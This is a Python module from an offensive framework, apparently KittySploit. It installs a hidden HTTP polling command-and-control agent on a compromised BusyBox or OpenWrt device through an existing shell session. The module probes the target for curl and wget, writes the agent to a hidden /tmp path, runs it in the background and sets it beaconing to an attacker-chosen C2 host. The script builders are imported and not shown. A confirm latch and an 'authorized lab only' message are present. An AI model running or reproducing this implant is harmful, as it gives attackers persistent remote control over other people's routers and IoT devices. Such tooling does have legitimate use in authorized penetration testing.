Deploy Embedded HTTP C2
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Deploy BusyBox embedded HTTP polling C2 from a live shell session."""
from kittysploit import *
from lib.c2.embedded_session import EmbeddedC2Mixin
from lib.post.linux.session import LinuxSessionMixin
import uuid
class Module(Post, LinuxSessionMixin, EmbeddedC2Mixin):
__info__ = {
"name": "Deploy Embedded HTTP C2",
"description": (
"Generate and optionally execute a BusyBox/ash HTTP polling agent on an "
"OpenWrt/embedded shell. Pairs with listeners/multi/reverse_http_polling."
),
"author": "KittySploit Team",
"platform": Platform.LINUX,
"session_type": [SessionType.SHELL, SessionType.METERPRETER, SessionType.SSH],
"tags": ["iot", "busybox", "openwrt", "c2", "manage", "embedded"],
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation"],
"expected_requests": 2,
"reversible": False,
"approval_required": True,
"produces": ["risk_signals"],
"chain": {
"produces_capabilities": ["shell", "c2_beacon"],
"consumes_capabilities": ["shell"],
"suggested_followups": [
"listeners/multi/reverse_http_polling",
"post/shell/linux/busybox/firmware_info",
],
},
"requires": {"capabilities_any": ["shell"]},
},
}
lhost = OptString("127.0.0.1", "C2 host reachable from the device", True)
lport = OptPort(8088, "HTTP polling listen port", True)
url_prefix = OptString("/c2", "URL prefix matching the listener", False)
client_id = OptString("", "Implant id (auto if empty)", False)
poll_interval = OptInteger(10, "Poll interval seconds", False)
ssl = OptBool(False, "Use HTTPS to the listener", False)
agent_path = OptString("/tmp/.ks_emb_c2.sh", "Remote script path", False)
execute = OptBool(True, "Write + background the agent on the session", False)
show_command = OptBool(True, "Print the deploy one-liner", False)
confirm = OptBool(False, "Must be True to execute (safety latch)", True)
def check(self):
if not self.linux_require_linux():
return False
if not str(self.lhost or "").strip():
print_error("lhost is required")
return False
return True
def run(self):
if not self.check():
return False
cid = str(self.client_id or "").strip() or f"emb-{uuid.uuid4().hex[:8]}"
oneliner = self.build_embedded_http_oneliner(cid)
print_status(f"Embedded HTTP C2 client_id={cid}")
print_info(
f"Start listeners/multi/reverse_http_polling on "
f"{self.lhost}:{self.lport} url_prefix={self.url_prefix}"
)
print_info("Leave implant_public_key empty (BusyBox agent does not sign)")
if bool(self.show_command):
print_info("Deploy one-liner:")
print_info(oneliner)
if not bool(self.execute):
script = self.build_embedded_http_agent(cid)
print_success(f"Agent script generated ({len(script)} bytes, execute=false)")
return True
if not bool(self.confirm):
print_error("Set confirm=true to deploy the embedded C2 agent")
return False
# Quick capability probe
tools = (self.cmd_execute(
"command -v curl; command -v wget; command -v uclient-fetch; "
"command -v base64; command -v busybox"
) or "").strip()
if tools:
print_info(f"Target tools:\n{tools}")
print_warning("Deploying embedded HTTP polling agent (authorized lab only)")
try:
self.cmd_execute(oneliner)
except Exception as exc:
print_warning(f"Dispatch reported: {exc}")
print_success("Agent dispatched — wait for reverse_http_polling check-in")
print_info(f"Expected implant id: {cid}")
return True
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